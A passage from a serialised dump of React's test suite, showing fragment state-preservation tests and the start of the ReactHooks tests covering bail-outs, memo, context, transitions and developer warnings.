ReactNoop.render(<Foo condition={true} />);\n    await waitForAll([]);\n\n    expect(ops).toEqual([]);\n    expect(ReactNoop).toMatchRenderedOutput(<div>Hello</div>);\n  });\n\n  it('should preserve state between array nested in fragment and fragment', async function () {\n    const ops = [];\n\n    class Stateful extends React.Component {\n      componentDidUpdate() {\n        ops.push('Update Stateful');\n      }\n\n      render() {\n        return <div>Hello</div>;\n      }\n    }\n\n    function Foo({condition}) {\n      return condition ? (\n        <>\n          <Stateful key=\"a\" />\n        </>\n      ) : (\n        <>{[<Stateful key=\"a\" />]}</>\n      );\n    }\n\n    ReactNoop.render(<Foo condition={true} />);\n    await waitForAll([]);\n\n    ReactNoop.render(<Foo condition={false} />);\n    await waitForAll([]);\n\n    expect(ops).toEqual(['Update Stateful']);\n    expect(ReactNoop).toMatchRenderedOutput(<div>Hello</div>);\n\n    ReactNoop.render(<Foo condition={true} />);\n    await waitForAll([]);\n\n    expect(ops).toEqual(['Update Stateful', 'Update Stateful']);\n    expect(ReactNoop).toMatchRenderedOutput(<div>Hello</div>);\n  });\n\n  it('should preserve state between top level fragment and array', async function () {\n    const ops = [];\n\n    class Stateful extends React.Component {\n      componentDidUpdate() {\n        ops.push('Update Stateful');\n      }\n\n      render() {\n        return <div>Hello</div>;\n      }\n    }\n\n    function Foo({condition}) {\n      return condition ? (\n        [<Stateful key=\"a\" />]\n      ) : (\n        <>\n          <Stateful key=\"a\" />\n        </>\n      );\n    }\n\n    ReactNoop.render(<Foo condition={true} />);\n    await waitForAll([]);\n\n    ReactNoop.render(<Foo condition={false} />);\n    await waitForAll([]);\n\n    expect(ops).toEqual(['Update Stateful']);\n    expect(ReactNoop).toMatchRenderedOutput(<div>Hello</div>);\n\n    ReactNoop.render(<Foo condition={true} />);\n    await waitForAll([]);\n\n    expect(ops).toEqual(['Update Stateful', 'Update Stateful']);\n    expect(ReactNoop).toMatchRenderedOutput(<div>Hello</div>);\n  });\n\n  it('should not preserve state between array nested in fragment and double nested fragment', async function () {\n    const ops = [];\n\n    class Stateful extends React.Component {\n      componentDidUpdate() {\n        ops.push('Update Stateful');\n      }\n\n      render() {\n        return <div>Hello</div>;\n      }\n    }\n\n    function Foo({condition}) {\n      return condition ? (\n        <>{[<Stateful key=\"a\" />]}</>\n      ) : (\n        <>\n          <>\n            <Stateful key=\"a\" />\n          </>\n        </>\n      );\n    }\n\n    ReactNoop.render(<Foo condition={true} />);\n    await waitForAll([]);\n\n    ReactNoop.render(<Foo condition={false} />);\n    await waitForAll([]);\n\n    expect(ops).toEqual([]);\n    expect(ReactNoop).toMatchRenderedOutput(<div>Hello</div>);\n\n    ReactNoop.render(<Foo condition={true} />);\n    await waitForAll([]);\n\n    expect(ops).toEqual([]);\n    expect(ReactNoop).toMatchRenderedOutput(<div>Hello</div>);\n  });\n\n  it('should not preserve state between array nested in fragment and double nested array', async function () {\n    const ops = [];\n\n    class Stateful extends React.Component {\n      componentDidUpdate() {\n        ops.push('Update Stateful');\n      }\n\n      render() {\n        return <div>Hello</div>;\n      }\n    }\n\n    function Foo({condition}) {\n      return condition ? (\n        <>{[<Stateful key=\"a\" />]}</>\n      ) : (\n        [[<Stateful key=\"a\" />]]\n      );\n    }\n\n    ReactNoop.render(<Foo condition={true} />);\n    await waitForAll([]);\n\n    ReactNoop.render(<Foo condition={false} />);\n    await waitForAll([]);\n\n    expect(ops).toEqual([]);\n    expect(ReactNoop).toMatchRenderedOutput(<div>Hello</div>);\n\n    ReactNoop.render(<Foo condition={true} />);\n    await waitForAll([]);\n\n    expect(ops).toEqual([]);\n    expect(ReactNoop).toMatchRenderedOutput(<div>Hello</div>);\n  });\n\n  it('should preserve state between double nested fragment and double nested array', async function () {\n    const ops = [];\n\n    class Stateful extends React.Component {\n      componentDidUpdate() {\n        ops.push('Update Stateful');\n      }\n\n      render() {\n        return <div>Hello</div>;\n      }\n    }\n\n    function Foo({condition}) {\n      return condition ? (\n        <>\n          <>\n            <Stateful key=\"a\" />\n          </>\n        </>\n      ) : (\n        [[<Stateful key=\"a\" />]]\n      );\n    }\n\n    ReactNoop.render(<Foo condition={true} />);\n    await waitForAll([]);\n\n    ReactNoop.render(<Foo condition={false} />);\n    await waitForAll([]);\n\n    expect(ops).toEqual(['Update Stateful']);\n    expect(ReactNoop).toMatchRenderedOutput(<div>Hello</div>);\n\n    ReactNoop.render(<Foo condition={true} />);\n    await waitForAll([]);\n\n    expect(ops).toEqual(['Update Stateful', 'Update Stateful']);\n    expect(ReactNoop).toMatchRenderedOutput(<div>Hello</div>);\n  });\n\n  it('should not preserve state of children when the keys are different', async function () {\n    const ops = [];\n\n    class Stateful extends React.Component {\n      componentDidUpdate() {\n        ops.push('Update Stateful');\n      }\n\n      render() {\n        return <div>Hello</div>;\n      }\n    }\n\n    function Foo({condition}) {\n      return condition ? (\n        <React.Fragment key=\"a\">\n          <Stateful />\n        </React.Fragment>\n      ) : (\n        <React.Fragment key=\"b\">\n          <Stateful />\n          <span>World</span>\n        </React.Fragment>\n      );\n    }\n\n    ReactNoop.render(<Foo condition={true} />);\n    await waitForAll([]);\n\n    ReactNoop.render(<Foo condition={false} />);\n    await waitForAll([]);\n\n    expect(ops).toEqual([]);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <div>Hello</div>\n        <span>World</span>\n      </>,\n    );\n\n    ReactNoop.render(<Foo condition={true} />);\n    await waitForAll([]);\n\n    expect(ops).toEqual([]);\n    expect(ReactNoop).toMatchRenderedOutput(<div>Hello</div>);\n  });\n\n  it('should not preserve state between unkeyed and keyed fragment', async function () {\n    const ops = [];\n\n    class Stateful extends React.Component {\n      componentDidUpdate() {\n        ops.push('Update Stateful');\n      }\n\n      render() {\n        return <div>Hello</div>;\n      }\n    }\n\n    function Foo({condition}) {\n      return condition ? (\n        <React.Fragment key=\"a\">\n          <Stateful />\n        </React.Fragment>\n      ) : (\n        <>\n          <Stateful />\n        </>\n      );\n    }\n\n    ReactNoop.render(<Foo condition={true} />);\n    await waitForAll([]);\n\n    ReactNoop.render(<Foo condition={false} />);\n    await waitForAll([]);\n\n    expect(ops).toEqual([]);\n    expect(ReactNoop).toMatchRenderedOutput(<div>Hello</div>);\n\n    ReactNoop.render(<Foo condition={true} />);\n    await waitForAll([]);\n\n    expect(ops).toEqual([]);\n    expect(ReactNoop).toMatchRenderedOutput(<div>Hello</div>);\n  });\n\n  it('should preserve state with reordering in multiple levels', async function () {\n    const ops = [];\n\n    class Stateful extends React.Component {\n      componentDidUpdate() {\n        ops.push('Update Stateful');\n      }\n\n      render() {\n        return <div>Hello</div>;\n      }\n    }\n\n    function Foo({condition}) {\n      return condition ? (\n        <div>\n          <React.Fragment key=\"c\">\n            <span>foo</span>\n            <div key=\"b\">\n              <Stateful key=\"a\" />\n            </div>\n          </React.Fragment>\n          <span>boop</span>\n        </div>\n      ) : (\n        <div>\n          <span>beep</span>\n          <React.Fragment key=\"c\">\n            <div key=\"b\">\n              <Stateful key=\"a\" />\n            </div>\n            <span>bar</span>\n          </React.Fragment>\n        </div>\n      );\n    }\n\n    ReactNoop.render(<Foo condition={true} />);\n    await waitForAll([]);\n\n    ReactNoop.render(<Foo condition={false} />);\n    await waitForAll([]);\n\n    expect(ops).toEqual(['Update Stateful']);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <div>\n        <span>beep</span>\n        <div>\n          <div>Hello</div>\n        </div>\n        <span>bar</span>\n      </div>,\n    );\n\n    ReactNoop.render(<Foo condition={true} />);\n    await waitForAll([]);\n\n    expect(ops).toEqual(['Update Stateful', 'Update Stateful']);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <div>\n        <span>foo</span>\n        <div>\n          <div>Hello</div>\n        </div>\n        <span>boop</span>\n      </div>,\n    );\n  });\n\n  it('should not preserve state when switching to a keyed fragment to an array', async () => {\n    const ops = [];\n\n    class Stateful extends React.Component {\n      componentDidUpdate() {\n        ops.push('Update Stateful');\n      }\n\n      render() {\n        return <div>Hello</div>;\n      }\n    }\n\n    function Foo({condition}) {\n      return condition ? (\n        <div>\n          {\n            <React.Fragment key=\"foo\">\n              <Stateful />\n            </React.Fragment>\n          }\n          <span />\n        </div>\n      ) : (\n        <div>\n          {[<Stateful />]}\n          <span />\n        </div>\n      );\n    }\n\n    ReactNoop.render(<Foo condition={true} />);\n    await waitForAll([]);\n\n    ReactNoop.render(<Foo condition={false} />);\n    await waitForAll([]);\n    assertConsoleErrorDev([\n      'Each child in a list should have a unique \"key\" prop.\\n' +\n        '\\n' +\n        'Check the render method of `div`. ' +\n        'It was passed a child from Foo. ' +\n        'See https://react.dev/link/warning-keys for more information.\\n' +\n        '    in Foo (at **)',\n    ]);\n\n    expect(ops).toEqual([]);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <div>\n        <div>Hello</div>\n        <span />\n      </div>,\n    );\n\n    ReactNoop.render(<Foo condition={true} />);\n    await waitForAll([]);\n\n    expect(ops).toEqual([]);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <div>\n        <div>Hello</div>\n        <span />\n      </div>,\n    );\n  });\n\n  it('should not preserve state when switching a nested unkeyed fragment to a passthrough component', async function () {\n    const ops = [];\n\n    function Passthrough({children}) {\n      return children;\n    }\n\n    class Stateful extends React.Component {\n      componentDidUpdate() {\n        ops.push('Update Stateful');\n      }\n\n      render() {\n        return <div>Hello</div>;\n      }\n    }\n\n    function Foo({condition}) {\n      return condition ? (\n        <>\n          <>\n            <Stateful />\n          </>\n        </>\n      ) : (\n        <>\n          <Passthrough>\n            <Stateful />\n          </Passthrough>\n        </>\n      );\n    }\n\n    ReactNoop.render(<Foo condition={true} />);\n    await waitForAll([]);\n\n    ReactNoop.render(<Foo condition={false} />);\n    await waitForAll([]);\n\n    expect(ops).toEqual([]);\n    expect(ReactNoop).toMatchRenderedOutput(<div>Hello</div>);\n\n    ReactNoop.render(<Foo condition={true} />);\n    await waitForAll([]);\n\n    expect(ops).toEqual([]);\n    expect(ReactNoop).toMatchRenderedOutput(<div>Hello</div>);\n  });\n\n  it('should not preserve state when switching a nested keyed fragment to a passthrough component', async function () {\n    const ops = [];\n\n    function Passthrough({children}) {\n      return children;\n    }\n\n    class Stateful extends React.Component {\n      componentDidUpdate() {\n        ops.push('Update Stateful');\n      }\n\n      render() {\n        return <div>Hello</div>;\n      }\n    }\n\n    function Foo({condition}) {\n      return condition ? (\n        <>\n          <React.Fragment key=\"a\">\n            <Stateful />\n          </React.Fragment>\n        </>\n      ) : (\n        <>\n          <Passthrough>\n            <Stateful />\n          </Passthrough>\n        </>\n      );\n    }\n\n    ReactNoop.render(<Foo condition={true} />);\n    await waitForAll([]);\n\n    ReactNoop.render(<Foo condition={false} />);\n    await waitForAll([]);\n\n    expect(ops).toEqual([]);\n    expect(ReactNoop).toMatchRenderedOutput(<div>Hello</div>);\n\n    ReactNoop.render(<Foo condition={true} />);\n    await waitForAll([]);\n\n    expect(ops).toEqual([]);\n    expect(ReactNoop).toMatchRenderedOutput(<div>Hello</div>);\n  });\n\n  it('should not preserve state when switching a nested keyed array to a passthrough component', async function () {\n    const ops = [];\n\n    function Passthrough({children}) {\n      return children;\n    }\n\n    class Stateful extends React.Component {\n      componentDidUpdate() {\n        ops.push('Update Stateful');\n      }\n\n      render() {\n        return <div>Hello</div>;\n      }\n    }\n\n    function Foo({condition}) {\n      return condition ? (\n        <>{[<Stateful key=\"a\" />]}</>\n      ) : (\n        <>\n          <Passthrough>\n            <Stateful />\n          </Passthrough>\n        </>\n      );\n    }\n\n    ReactNoop.render(<Foo condition={true} />);\n    await waitForAll([]);\n\n    ReactNoop.render(<Foo condition={false} />);\n    await waitForAll([]);\n\n    expect(ops).toEqual([]);\n    expect(ReactNoop).toMatchRenderedOutput(<div>Hello</div>);\n\n    ReactNoop.render(<Foo condition={true} />);\n    await waitForAll([]);\n\n    expect(ops).toEqual([]);\n    expect(ReactNoop).toMatchRenderedOutput(<div>Hello</div>);\n  });\n\n  it('should preserve state when it does not change positions', async function () {\n    const ops = [];\n\n    class Stateful extends React.Component {\n      componentDidUpdate() {\n        ops.push('Update Stateful');\n      }\n\n      render() {\n        return <div>Hello</div>;\n      }\n    }\n\n    function Foo({condition}) {\n      return condition\n        ? [\n            <span />,\n            <>\n              <Stateful />\n            </>,\n          ]\n        : [\n            <span />,\n            <>\n              <Stateful />\n            </>,\n          ];\n    }\n\n    ReactNoop.render(<Foo condition={true} />);\n    await waitForAll([]);\n    assertConsoleErrorDev([\n      'Each child in a list should have a unique \"key\" prop.\\n' +\n        '\\n' +\n        'Check the top-level render call using <Foo>. ' +\n        'It was passed a child from Foo. ' +\n        'See https://react.dev/link/warning-keys for more information.\\n' +\n        '    in span (at **)\\n' +\n        '    in Foo (at **)',\n    ]);\n\n    ReactNoop.render(<Foo condition={false} />);\n    // The key warning gets deduped because it's in the same component.\n    await waitForAll([]);\n\n    expect(ops).toEqual(['Update Stateful']);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span />\n        <div>Hello</div>\n      </>,\n    );\n\n    ReactNoop.render(<Foo condition={true} />);\n    // The key warning gets deduped because it's in the same component.\n    await waitForAll([]);\n\n    expect(ops).toEqual(['Update Stateful', 'Update Stateful']);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span />\n        <div>Hello</div>\n      </>,\n    );\n  });\n\n  it('should preserve state of children when adding a fragment wrapped in Lazy', async function () {\n    const ops = [];\n\n    class Stateful extends React.Component {\n      componentDidUpdate() {\n        ops.push('Update Stateful');\n      }\n\n      render() {\n        return <div>Hello</div>;\n      }\n    }\n\n    const lazyChild = React.lazy(async () => ({\n      default: (\n        <>\n          <Stateful key=\"a\" />\n          <div key=\"b\">World</div>\n        </>\n      ),\n    }));\n\n    function Foo({condition}) {\n      return condition ? <Stateful key=\"a\" /> : lazyChild;\n    }\n\n    ReactNoop.render(<Foo condition={true} />);\n    await waitForAll([]);\n\n    ReactNoop.render(<Foo condition={false} />);\n    await waitForAll([]);\n\n    expect(ops).toEqual(['Update Stateful']);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <div>Hello</div>\n        <div>World</div>\n      </>,\n    );\n\n    ReactNoop.render(<Foo condition={true} />);\n    await waitForAll([]);\n\n    expect(ops).toEqual(['Update Stateful', 'Update Stateful']);\n    expect(ReactNoop).toMatchRenderedOutput(<div>Hello</div>);\n  });\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ReactHooks-test.internal.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment node\n */\n\n/* eslint-disable no-func-assign */\n\n'use strict';\n\nlet React;\nlet ReactTestRenderer;\nlet Scheduler;\nlet ReactDOMServer;\nlet act;\nlet assertLog;\nlet assertConsoleErrorDev;\nlet waitForAll;\nlet waitForThrow;\n\ndescribe('ReactHooks', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    React = require('react');\n    ReactTestRenderer = require('react-test-renderer');\n    Scheduler = require('scheduler');\n    ReactDOMServer = require('react-dom/server');\n    act = require('internal-test-utils').act;\n\n    const InternalTestUtils = require('internal-test-utils');\n    assertLog = InternalTestUtils.assertLog;\n    assertConsoleErrorDev = InternalTestUtils.assertConsoleErrorDev;\n    waitForAll = InternalTestUtils.waitForAll;\n    waitForThrow = InternalTestUtils.waitForThrow;\n  });\n\n  if (__DEV__) {\n    // useDebugValue is a DEV-only hook\n    it('useDebugValue throws when used in a class component', async () => {\n      class Example extends React.Component {\n        render() {\n          React.useDebugValue('abc');\n          return null;\n        }\n      }\n      await expect(async () => {\n        await act(() => {\n          ReactTestRenderer.create(<Example />, {\n            unstable_isConcurrent: true,\n          });\n        });\n      }).rejects.toThrow(\n        'Invalid hook call. Hooks can only be called inside of the body of a function component. This could happen' +\n          ' for one of the following reasons:\\n' +\n          '1. You might have mismatching versions of React and the renderer (such as React DOM)\\n' +\n          '2. You might be breaking the Rules of Hooks\\n' +\n          '3. You might have more than one copy of React in the same app\\n' +\n          'See https://react.dev/link/invalid-hook-call for tips about how to debug and fix this problem.',\n      );\n    });\n  }\n\n  it('bails out in the render phase if all of the state is the same', async () => {\n    const {useState, useLayoutEffect} = React;\n\n    function Child({text}) {\n      Scheduler.log('Child: ' + text);\n      return text;\n    }\n\n    let setCounter1;\n    let setCounter2;\n    function Parent() {\n      const [counter1, _setCounter1] = useState(0);\n      setCounter1 = _setCounter1;\n      const [counter2, _setCounter2] = useState(0);\n      setCounter2 = _setCounter2;\n\n      const text = `${counter1}, ${counter2}`;\n      Scheduler.log(`Parent: ${text}`);\n      useLayoutEffect(() => {\n        Scheduler.log(`Effect: ${text}`);\n      });\n      return <Child text={text} />;\n    }\n\n    const root = ReactTestRenderer.create(null, {unstable_isConcurrent: true});\n    root.update(<Parent />);\n    await waitForAll(['Parent: 0, 0', 'Child: 0, 0', 'Effect: 0, 0']);\n    expect(root).toMatchRenderedOutput('0, 0');\n\n    // Normal update\n    await act(() => {\n      setCounter1(1);\n      setCounter2(1);\n    });\n\n    assertLog(['Parent: 1, 1', 'Child: 1, 1', 'Effect: 1, 1']);\n\n    // Update that bails out.\n    await act(() => setCounter1(1));\n    assertLog(['Parent: 1, 1']);\n\n    // This time, one of the state updates but the other one doesn't. So we\n    // can't bail out.\n    await act(() => {\n      setCounter1(1);\n      setCounter2(2);\n    });\n\n    assertLog(['Parent: 1, 2', 'Child: 1, 2', 'Effect: 1, 2']);\n\n    // Lots of updates that eventually resolve to the current values.\n    await act(() => {\n      setCounter1(9);\n      setCounter2(3);\n      setCounter1(4);\n      setCounter2(7);\n      setCounter1(1);\n      setCounter2(2);\n    });\n\n    // Because the final values are the same as the current values, the\n    // component bails out.\n    assertLog(['Parent: 1, 2']);\n\n    // prepare to check SameValue\n    await act(() => {\n      setCounter1(0 / -1);\n      setCounter2(NaN);\n    });\n\n    assertLog(['Parent: 0, NaN', 'Child: 0, NaN', 'Effect: 0, NaN']);\n\n    // check if re-setting to negative 0 / NaN still bails out\n    await act(() => {\n      setCounter1(0 / -1);\n      setCounter2(NaN);\n      setCounter2(Infinity);\n      setCounter2(NaN);\n    });\n\n    assertLog(['Parent: 0, NaN']);\n\n    // check if changing negative 0 to positive 0 does not bail out\n    await act(() => {\n      setCounter1(0);\n    });\n    assertLog(['Parent: 0, NaN', 'Child: 0, NaN', 'Effect: 0, NaN']);\n  });\n\n  it('bails out in render phase if all the state is the same and props bail out with memo', async () => {\n    const {useState, memo} = React;\n\n    function Child({text}) {\n      Scheduler.log('Child: ' + text);\n      return text;\n    }\n\n    let setCounter1;\n    let setCounter2;\n    function Parent({theme}) {\n      const [counter1, _setCounter1] = useState(0);\n      setCounter1 = _setCounter1;\n      const [counter2, _setCounter2] = useState(0);\n      setCounter2 = _setCounter2;\n\n      const text = `${counter1}, ${counter2} (${theme})`;\n      Scheduler.log(`Parent: ${text}`);\n      return <Child text={text} />;\n    }\n\n    Parent = memo(Parent);\n\n    const root = ReactTestRenderer.create(null, {unstable_isConcurrent: true});\n    root.update(<Parent theme=\"light\" />);\n    await waitForAll(['Parent: 0, 0 (light)', 'Child: 0, 0 (light)']);\n    expect(root).toMatchRenderedOutput('0, 0 (light)');\n\n    // Normal update\n    await act(() => {\n      setCounter1(1);\n      setCounter2(1);\n    });\n\n    assertLog(['Parent: 1, 1 (light)', 'Child: 1, 1 (light)']);\n\n    // Update that bails out.\n    await act(() => setCounter1(1));\n    assertLog(['Parent: 1, 1 (light)']);\n\n    // This time, one of the state updates but the other one doesn't. So we\n    // can't bail out.\n    await act(() => {\n      setCounter1(1);\n      setCounter2(2);\n    });\n\n    assertLog(['Parent: 1, 2 (light)', 'Child: 1, 2 (light)']);\n\n    // Updates bail out, but component still renders because props\n    // have changed\n    await act(() => {\n      setCounter1(1);\n      setCounter2(2);\n      root.update(<Parent theme=\"dark\" />);\n    });\n\n    assertLog(['Parent: 1, 2 (dark)', 'Child: 1, 2 (dark)']);\n\n    // Both props and state bail out\n    await act(() => {\n      setCounter1(1);\n      setCounter2(2);\n      root.update(<Parent theme=\"dark\" />);\n    });\n\n    assertLog(['Parent: 1, 2 (dark)']);\n  });\n\n  it('warns about setState second argument', async () => {\n    const {useState} = React;\n\n    let setCounter;\n    function Counter() {\n      const [counter, _setCounter] = useState(0);\n      setCounter = _setCounter;\n\n      Scheduler.log(`Count: ${counter}`);\n      return counter;\n    }\n\n    const root = ReactTestRenderer.create(null, {unstable_isConcurrent: true});\n    root.update(<Counter />);\n    await waitForAll(['Count: 0']);\n    expect(root).toMatchRenderedOutput('0');\n\n    await act(() =>\n      setCounter(1, () => {\n        throw new Error('Expected to ignore the callback.');\n      }),\n    );\n    assertConsoleErrorDev([\n      'State updates from the useState() and useReducer() Hooks ' +\n        \"don't support the second callback argument. \" +\n        'To execute a side effect after rendering, ' +\n        'declare it in the component body with useEffect().',\n    ]);\n    assertLog(['Count: 1']);\n    expect(root).toMatchRenderedOutput('1');\n  });\n\n  it('warns about dispatch second argument', async () => {\n    const {useReducer} = React;\n\n    let dispatch;\n    function Counter() {\n      const [counter, _dispatch] = useReducer((s, a) => a, 0);\n      dispatch = _dispatch;\n\n      Scheduler.log(`Count: ${counter}`);\n      return counter;\n    }\n\n    const root = ReactTestRenderer.create(null, {unstable_isConcurrent: true});\n    root.update(<Counter />);\n    await waitForAll(['Count: 0']);\n    expect(root).toMatchRenderedOutput('0');\n\n    await act(() =>\n      dispatch(1, () => {\n        throw new Error('Expected to ignore the callback.');\n      }),\n    );\n    assertConsoleErrorDev([\n      'State updates from the useState() and useReducer() Hooks ' +\n        \"don't support the second callback argument. \" +\n        'To execute a side effect after rendering, ' +\n        'declare it in the component body with useEffect().',\n    ]);\n    assertLog(['Count: 1']);\n    expect(root).toMatchRenderedOutput('1');\n  });\n\n  it('never bails out if context has changed', async () => {\n    const {useState, useLayoutEffect, useContext} = React;\n\n    const ThemeContext = React.createContext('light');\n\n    let setTheme;\n    function ThemeProvider({children}) {\n      const [theme, _setTheme] = useState('light');\n      Scheduler.log('Theme: ' + theme);\n      setTheme = _setTheme;\n      return (\n        <ThemeContext.Provider value={theme}>{children}</ThemeContext.Provider>\n      );\n    }\n\n    function Child({text}) {\n      Scheduler.log('Child: ' + text);\n      return text;\n    }\n\n    let setCounter;\n    function Parent() {\n      const [counter, _setCounter] = useState(0);\n      setCounter = _setCounter;\n\n      const theme = useContext(ThemeContext);\n\n      const text = `${counter} (${theme})`;\n      Scheduler.log(`Parent: ${text}`);\n      useLayoutEffect(() => {\n        Scheduler.log(`Effect: ${text}`);\n      });\n      return <Child text={text} />;\n    }\n    const root = ReactTestRenderer.create(null, {unstable_isConcurrent: true});\n    await act(() => {\n      root.update(\n        <ThemeProvider>\n          <Parent />\n        </ThemeProvider>,\n      );\n    });\n\n    assertLog([\n      'Theme: light',\n      'Parent: 0 (light)',\n      'Child: 0 (light)',\n      'Effect: 0 (light)',\n    ]);\n    expect(root).toMatchRenderedOutput('0 (light)');\n\n    // Updating the theme to the same value doesn't cause the consumers\n    // to re-render.\n    setTheme('light');\n    await waitForAll([]);\n    expect(root).toMatchRenderedOutput('0 (light)');\n\n    // Normal update\n    await act(() => setCounter(1));\n    assertLog(['Parent: 1 (light)', 'Child: 1 (light)', 'Effect: 1 (light)']);\n    expect(root).toMatchRenderedOutput('1 (light)');\n\n    // Update that doesn't change state, so it bails out\n    await act(() => setCounter(1));\n    assertLog(['Parent: 1 (light)']);\n    expect(root).toMatchRenderedOutput('1 (light)');\n\n    // Update that doesn't change state, but the context changes, too, so it\n    // can't bail out\n    await act(() => {\n      setCounter(1);\n      setTheme('dark');\n    });\n\n    assertLog([\n      'Theme: dark',\n      'Parent: 1 (dark)',\n      'Child: 1 (dark)',\n      'Effect: 1 (dark)',\n    ]);\n    expect(root).toMatchRenderedOutput('1 (dark)');\n  });\n\n  it('can bail out without calling render phase (as an optimization) if queue is known to be empty', async () => {\n    const {useState, useLayoutEffect} = React;\n\n    function Child({text}) {\n      Scheduler.log('Child: ' + text);\n      return text;\n    }\n\n    let setCounter;\n    function Parent() {\n      const [counter, _setCounter] = useState(0);\n      setCounter = _setCounter;\n      Scheduler.log('Parent: ' + counter);\n      useLayoutEffect(() => {\n        Scheduler.log('Effect: ' + counter);\n      });\n      return <Child text={counter} />;\n    }\n\n    const root = ReactTestRenderer.create(null, {unstable_isConcurrent: true});\n    root.update(<Parent />);\n    await waitForAll(['Parent: 0', 'Child: 0', 'Effect: 0']);\n    expect(root).toMatchRenderedOutput('0');\n\n    // Normal update\n    await act(() => setCounter(1));\n    assertLog(['Parent: 1', 'Child: 1', 'Effect: 1']);\n    expect(root).toMatchRenderedOutput('1');\n\n    // Update to the same state. React doesn't know if the queue is empty\n    // because the alternate fiber has pending update priority, so we have to\n    // enter the render phase before we can bail out. But we bail out before\n    // rendering the child, and we don't fire any effects.\n    await act(() => setCounter(1));\n    assertLog(['Parent: 1']);\n    expect(root).toMatchRenderedOutput('1');\n\n    // Update to the same state again. This times, neither fiber has pending\n    // update priority, so we can bail out before even entering the render phase.\n    await act(() => setCounter(1));\n    await waitForAll([]);\n    expect(root).toMatchRenderedOutput('1');\n\n    // This changes the state to something different so it renders normally.\n    await act(() => setCounter(2));\n    assertLog(['Parent: 2', 'Child: 2', 'Effect: 2']);\n    expect(root).toMatchRenderedOutput('2');\n\n    // prepare to check SameValue\n    await act(() => {\n      setCounter(0);\n    });\n    assertLog(['Parent: 0', 'Child: 0', 'Effect: 0']);\n    expect(root).toMatchRenderedOutput('0');\n\n    // Update to the same state for the first time to flush the queue\n    await act(() => {\n      setCounter(0);\n    });\n\n    assertLog(['Parent: 0']);\n    expect(root).toMatchRenderedOutput('0');\n\n    // Update again to the same state. Should bail out.\n    await act(() => {\n      setCounter(0);\n    });\n    await waitForAll([]);\n    expect(root).toMatchRenderedOutput('0');\n\n    // Update to a different state (positive 0 to negative 0)\n    await act(() => {\n      setCounter(0 / -1);\n    });\n    assertLog(['Parent: 0', 'Child: 0', 'Effect: 0']);\n    expect(root).toMatchRenderedOutput('0');\n  });\n\n  it('bails out multiple times in a row without entering render phase', async () => {\n    const {useState} = React;\n\n    function Child({text}) {\n      Scheduler.log('Child: ' + text);\n      return text;\n    }\n\n    let setCounter;\n    function Parent() {\n      const [counter, _setCounter] = useState(0);\n      setCounter = _setCounter;\n      Scheduler.log('Parent: ' + counter);\n      return <Child text={counter} />;\n    }\n\n    const root = ReactTestRenderer.create(null, {unstable_isConcurrent: true});\n    root.update(<Parent />);\n    await waitForAll(['Parent: 0', 'Child: 0']);\n    expect(root).toMatchRenderedOutput('0');\n\n    const update = value => {\n      setCounter(previous => {\n        Scheduler.log(`Compute state (${previous} -> ${value})`);\n        return value;\n      });\n    };\n    ReactTestRenderer.unstable_batchedUpdates(() => {\n      update(0);\n      update(0);\n      update(0);\n      update(1);\n      update(2);\n      update(3);\n    });\n\n    assertLog([\n      // The first four updates were eagerly computed, because the queue is\n      // empty before each one.\n      'Compute state (0 -> 0)',\n      'Compute state (0 -> 0)',\n      'Compute state (0 -> 0)',\n      // The fourth update doesn't bail out\n      'Compute state (0 -> 1)',\n      // so subsequent updates can't be eagerly computed.\n    ]);\n\n    // Now let's enter the render phase\n    await waitForAll([\n      // We don't need to re-compute the first four updates. Only the final two.\n      'Compute state (1 -> 2)',\n      'Compute state (2 -> 3)',\n      'Parent: 3',\n      'Child: 3',\n    ]);\n    expect(root).toMatchRenderedOutput('3');\n  });\n\n  it('can rebase on top of a previously skipped update', async () => {\n    const {useState} = React;\n\n    function Child({text}) {\n      Scheduler.log('Child: ' + text);\n      return text;\n    }\n\n    let setCounter;\n    function Parent() {\n      const [counter, _setCounter] = useState(1);\n      setCounter = _setCounter;\n      Scheduler.log('Parent: ' + counter);\n      return <Child text={counter} />;\n    }\n\n    const root = ReactTestRenderer.create(null, {unstable_isConcurrent: true});\n    root.update(<Parent />);\n    await waitForAll(['Parent: 1', 'Child: 1']);\n    expect(root).toMatchRenderedOutput('1');\n\n    const update = compute => {\n      setCounter(previous => {\n        const value = compute(previous);\n        Scheduler.log(`Compute state (${previous} -> ${value})`);\n        return value;\n      });\n    };\n\n    // Update at transition priority\n    React.startTransition(() => update(n => n * 100));\n    // The new state is eagerly computed.\n    assertLog(['Compute state (1 -> 100)']);\n\n    // but before it's flushed, a higher priority update interrupts it.\n    root.unstable_flushSync(() => {\n      update(n => n + 5);\n    });\n    assertLog([\n      // The eagerly computed state was completely skipped\n      'Compute state (1 -> 6)',\n      'Parent: 6',\n      'Child: 6',\n    ]);\n    expect(root).toMatchRenderedOutput('6');\n\n    // Now when we finish the first update, the second update is rebased on top.\n    // Notice we didn't have to recompute the first update even though it was\n    // skipped in the previous render.\n    await waitForAll([\n      'Compute state (100 -> 105)',\n      'Parent: 105',\n      'Child: 105',\n    ]);\n    expect(root).toMatchRenderedOutput('105');\n  });\n\n  it('warns about variable number of dependencies', async () => {\n    const {useLayoutEffect} = React;\n    function App(props) {\n      useLayoutEffect(() => {\n        Scheduler.log('Did commit: ' + props.dependencies.join(', '));\n      }, props.dependencies);\n      return props.dependencies;\n    }\n    let root;\n    await act(() => {\n      root = ReactTestRenderer.create(<App dependencies={['A']} />, {\n        unstable_isConcurrent: true,\n      });\n    });\n    assertLog(['Did commit: A']);\n    await act(() => {\n      root.update(<App dependencies={['A', 'B']} />);\n    });\n    assertConsoleErrorDev([\n      'The final argument passed to useLayoutEffect changed size ' +\n        'between renders. The order and size of this array must remain ' +\n        'constant.\\n' +\n        '\\n' +\n        'Previous: [A]\\n' +\n        'Incoming: [A, B]\\n' +\n        '    in App (at **)',\n    ]);\n  });\n\n 